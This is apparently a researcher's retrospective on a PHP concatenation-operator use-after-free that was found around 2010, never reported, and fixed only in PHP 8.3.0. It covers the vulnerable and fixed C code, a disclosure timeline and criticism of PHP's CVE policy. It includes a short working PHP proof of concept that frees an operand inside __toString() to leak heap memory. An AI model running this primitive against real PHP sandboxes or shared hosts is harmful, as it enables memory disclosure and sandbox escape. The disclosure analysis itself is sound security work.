A first-person retrospective on a PHP memory corruption bug I found in the 2010 era, never published, and which lived on in shipped PHP for roughly thirteen more years.


TL;DR

The PHP concatenation operator (.) in concat_function() cached a raw pointer to the first operand’s underlying zend_string buffer and then called into user code (__toString() on the second operand) before using that pointer for the final memcpy. If the user code freed or replaced the first operand during that window, the operator wrote from freed memory.

This was an unreported bypass of CVE-2010-2191 (Stefan Esser’s original ZEND_CONCAT/ZEND_ASSIGN_CONCAT interruption disclosure under the Month of PHP Security 2010 campaign). The 2010 patch addressed the call-time-pass-by-reference trigger but missed the __toString() trigger on op2. The bug therefore remained latent and exploitable in every released PHP version from 2010 until PHP 8.3.0 (November 2023).


The bug in one diff

Pre-fix concat_function() from Zend/zend_operators.c, schematically:

ZEND_API zend_result ZEND_FASTCALL concat_function(zval *result, zval *op1, zval *op2)
{
    /* op1 is already a string in the common path */
    zend_string *op1_str = Z_STR_P(op1);
    /* ↑ raw pointer cached here */

    /* op2 may be an object — convert to string. This can run __toString() */
    ZVAL_STR(&op2_copy, zval_get_string_func(op2));
    /* ↑ user code ran here. If __toString() rebound $op1 to int/array/null,
         op1_str's refcount may have hit zero and the buffer is freed. */

    size_t result_len = ZSTR_LEN(op1_str) + ZSTR_LEN(op2_str);
    zend_string *result_str = zend_string_alloc(result_len, 0);

    memcpy(ZSTR_VAL(result_str), ZSTR_VAL(op1_str), ZSTR_LEN(op1_str));
    /*                           ↑ dangling read */
    memcpy(ZSTR_VAL(result_str) + ZSTR_LEN(op1_str),
           ZSTR_VAL(op2_str), ZSTR_LEN(op2_str));
    ...
}

The fix landed as commit 727e26f9f2 (“Fix #97836 and #81705: Segfault / type confusion in concat_function”) by Niels Dossche, December 4, 2022. It bumps the refcount on the op1 string before the conversion call, decoupling the C-level lifetime of the buffer from whatever happens to the $op1 zval in user code:

do {
    if (EXPECTED(Z_TYPE_P(op2) == IS_STRING)) {
        op2_string = Z_STR_P(op2);
    } else {
        if (Z_ISREF_P(op2)) {
            op2 = Z_REFVAL_P(op2);
            if (Z_TYPE_P(op2) == IS_STRING) {
                op2_string = Z_STR_P(op2);
                break;
            }
        }
        /* hold an additional reference because a userland function could free this */
        if (!free_op1_string) {
            op1_string = zend_string_copy(op1_string);   // ← the fix
            free_op1_string = true;
        }
        ZEND_TRY_BINARY_OP2_OBJECT_OPERATION(ZEND_CONCAT);
        op2_string = zval_try_get_string_func(op2);
        ...

zend_string_copy() is a no-op alias for GC_ADDREF() on the buffer — it doesn’t actually copy bytes, just bumps the refcount. After the __toString() callback returns, the string buffer is still alive regardless of what user code did to the $op1 zval. The function releases its extra reference after the final memcpy completes.


My proof of concept (around 2010)

The PoC I wrote at the time — never disclosed — exploited the bug via __toString() on op2 mutating $a (op1) mid-concat. The surviving copy below was later re-tested against PHP 5.6.9:

<?php
// Tested on PHP 5.6.9
class dummy
{
    function __toString()
    {
        $GLOBALS['a'] = (array)str_repeat("A", 512);
        return "";
    }
}
$a = str_repeat("A", 67);
$b = new dummy();
$res = $a . $b;
print $res;

The __toString() callback retypes $a from string to array. On pre-fix PHP this dropped the original zend_string to refcount zero, freed the buffer, and the subsequent memcpy in concat_function read from whatever the heap allocator handed back next — a textbook information leak primitive.


Timeline from my perspective

DateEvent
2010-05Stefan Esser discloses interruption-class vulnerabilities including ZEND_CONCAT/ZEND_ASSIGN_CONCAT as part of the Month of PHP Security campaign. Assigned CVE-2010-2191.
2010-07-22PHP 5.2.14 ships my own first interruption finding fix as CVE-2010-2484strrchr() interruption. Credit recorded in the official NEWS file: “Fixed a possible interruption array leak in strrchr(). Reported by Péter Veres. (CVE-2010-2484)”. The same release fixes the same pattern in strchr(), strstr(), substr(), chunk_split(), strtok(), addcslashes(), str_repeat(), trim().
2010PHP team applies a partial fix to the concat opcode that addresses the 2010 Esser disclosure (call-time-pass-by-reference trigger). The __toString() trigger on op2 is not addressed. The fix appears complete; the bug class is presumed closed.
~2010Around the same interruption-bug period, I find that the concat operator remains vulnerable through the __toString() path. I write local PoCs — one demonstrating type-confusion via += 0x00400000, one demonstrating freed-buffer reuse via (array) cast. I never report or publish. The PoCs sit in a directory and are forgotten.
2010–2023The bug ships in every PHP release: 5.3.x, 5.4.x, 5.5.x, 5.6.x, 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x, 8.1.x, 8.2.x. Whether anyone else found it independently during this window is unknown to me; if so, no public disclosure occurred.
2020-07-04Reported externally as bugs.php.net #79836“Segfault in concat_function” — by andrey at php dot net. No CVE assigned.
2021-12-26Reported again as bugs.php.net #81705“type confusion/UAF on set_error_handler with concat operation” — same bug class, different trigger (error handler instead of __toString). No CVE assigned.
2022-12-04Niels Dossche lands commit 727e26f9f2 (“Fix #97836 and #81705”), GH-10049, in php-src master. Co-authored by [email protected] and [email protected] for the regression tests.
2023-11-23Fix ships in PHP 8.3.0. Not backported to PHP 8.2, 8.1, 8.0, or any 7.x branch. git tag --contains 727e26f9f2 returns only php-8.3.*. PHP 8.2.x continues shipping the bug until its EOL in December 2025.
2024-04I rediscover my own PoCs in a personal archive while talking through the interruption bug class. Run them against PHP 8.3.6: PoC #2 produces benign output, confirming the fix; PoC #1 dies on an unrelated PHP 8.0 type-strictness change masking the underlying behavior.

What I didn’t do, and why it matters

I had a working bypass of CVE-2010-2191 around 2010 and didn’t publish. A few honest reasons:

  • I had no formal disclosure habit at the time. CVE-2010-2484 came about because I happened to know the right person to email; for the concat finding I had no equivalent path I felt comfortable using.
  • The PHP project’s posture toward interruption-class bugs was already ambivalent — Esser’s MOPS campaign had concluded with the explicit observation that the PHP team viewed many of these issues as “code-execution-already” and not worth CVE assignment. I assumed reporting it would be ignored.
  • I was wrong to assume that. Reporting it would at minimum have shrunk the exposure window. It might have surfaced the broader pattern earlier and prompted the kind of audit Felipe Pena did in 2010 after my strrchr report — which closed nine functions in one shot.

The record speaks for itself: from my around-2010 PoC to the 2023 fix is roughly thirteen years of unnecessary exposure in shipped PHP. The 2020 and 2021 reports that eventually triggered the fix found the same primitive I had, through different reachability paths. Had I disclosed around 2010, the exposure window would have been dramatically shorter.


What the PHP project did, and didn’t do

Did: ship a clean, minimal, structurally correct fix that establishes the right invariant (the C runtime owns its own reference to any buffer it intends to dereference across a callback), and ship it with a regression test that catches the exact pattern.

Didn’t:

  • Backport the fix. PHP 8.2, an actively-supported security branch until December 2025, continued to ship the vulnerability for two years after the fix was available.
  • Assign a CVE. The fix is in the PHP 8.3.0 changelog as a routine bug fix:
    . Fix bug #79836 (Segfault in concat_function). (nielsdos)
    . Fix bug #81705 (type confusion/UAF on set_error_handler with concat
      operation). (nielsdos)
    Surrounding entries in the same changelog cite CVEs explicitly when they exist. These two do not.
  • Audit the rest of the binary operator family with the same rigor. add_function, sub_function, mul_function, compare_function, and the bitwise operators all dispatch through similar ZEND_TRY_BINARY_OP2_OBJECT_OPERATION macros and call coercion helpers that can reach user code. Whether they have all received the same zend_string_copy() treatment is, as of this writing, not exhaustively verified.

The PHP project’s published policy at wiki.php.net/cve says:

What usually does not need a CVE: … issues requiring code execution access …

— wiki.php.net/cve — PHP project CVE policy

This is the position the project has held since the Esser era, and which Esser argued against for a decade because it ignores safe_mode, disable_functions, open_basedir, container/sandbox boundaries, and any post-exploitation primitive that depends on staying inside the PHP process. From a defender’s perspective — anyone running PHP as a multi-tenant target — the concat bug was every bit as serious as a remote vulnerability, because the assumed “code execution already” threat model frequently means “untrusted user code in a sandbox,” and the bug class breaks every sandbox.


References

  • Stefan Esser, State of the Art Post Exploitation in Hardened PHP Environments — Black Hat USA / SyScan 2009.
  • Stefan Esser, Month of PHP Security 2010 — series of advisories at php-security.org (most extant on the Wayback Machine).
  • CVE-2010-2191 (concat opcode interruption, MOPS-2010-054).
  • CVE-2010-2484 (strrchr interruption).
  • PHP commit 727e26f9f2 — fix for #79836 / #81705.
  • PHP 5.2.14 NEWS — credit for CVE-2010-2484.
  • PHP 8.3.0 release announcement.
  • wiki.php.net/cve — PHP project’s CVE policy.